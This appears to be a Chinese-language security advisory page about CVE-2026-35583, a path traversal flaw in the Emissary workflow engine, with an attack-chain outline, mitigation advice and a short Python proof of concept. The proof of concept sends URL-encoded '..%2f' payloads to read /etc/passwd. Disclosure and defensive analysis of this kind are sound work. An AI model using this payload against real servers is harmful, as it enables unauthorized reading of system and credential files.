IPBUF安全漏洞报告
English
CVE-2026-35583 CVSS 5.3 中危

CVE-2026-35583 Emissary路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35583
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Emissary

相关标签

路径遍历Emissary信息泄露CWE-22

漏洞概述

Emissary是一款P2P数据驱动工作流引擎。在8.39.0版本之前,其配置API端点使用黑名单机制验证配置名称,但该机制存在缺陷。攻击者可通过URL编码或Unicode规范化绕过黑名单,实现路径遍历攻击,读取预期目录之外的配置文件。

技术细节

该漏洞位于Emissary的`/api/configuration/{name}`接口。系统试图通过黑名单过滤反斜杠、斜杠、双点等字符来防止路径遍历。然而,这种过滤机制不完整,无法防御URL编码(如`%2e%2e`)、双重编码或Unicode变体等攻击方式。由于无需身份认证(PR:N),远程攻击者可构造恶意请求绕过校验,利用路径遍历读取服务器上的敏感配置文件,造成信息泄露。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标服务器运行的是Emissary应用,并确认其版本低于8.39.0。
STEP 2
2. 构造攻击载荷
攻击者构造包含URL编码(如%2e%2e代表..)的恶意路径,以此绕过简单的黑名单过滤机制。
STEP 3
3. 发送恶意请求
攻击者向`/api/configuration/{name}`端点发送GET请求,载荷旨在通过目录遍历访问系统敏感文件(如/etc/passwd)。
STEP 4
4. 获取敏感数据
服务器未能正确过滤载荷,返回了请求的配置文件内容,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://localhost:8080/api/configuration/" # Payload using URL encoding to bypass blacklist # ".." is represented as "%2e%2e" # Trying to access /etc/passwd (Linux) or C:/Windows/win.ini (Windows) # Example payload: ../../../../etc/passwd payload = "..%2f..%2f..%2f..%2fetc%2fpasswd" full_url = f"{url}{payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Success! File content found:") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Emissary < 8.39.0

防御指南

临时缓解措施
建议立即将Emissary升级至8.39.0或更高版本。若临时无法升级,请通过防火墙或WAF规则阻断包含URL编码特征(如%2e, %2f)的请求,并严格限制`/api/configuration/`端点的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表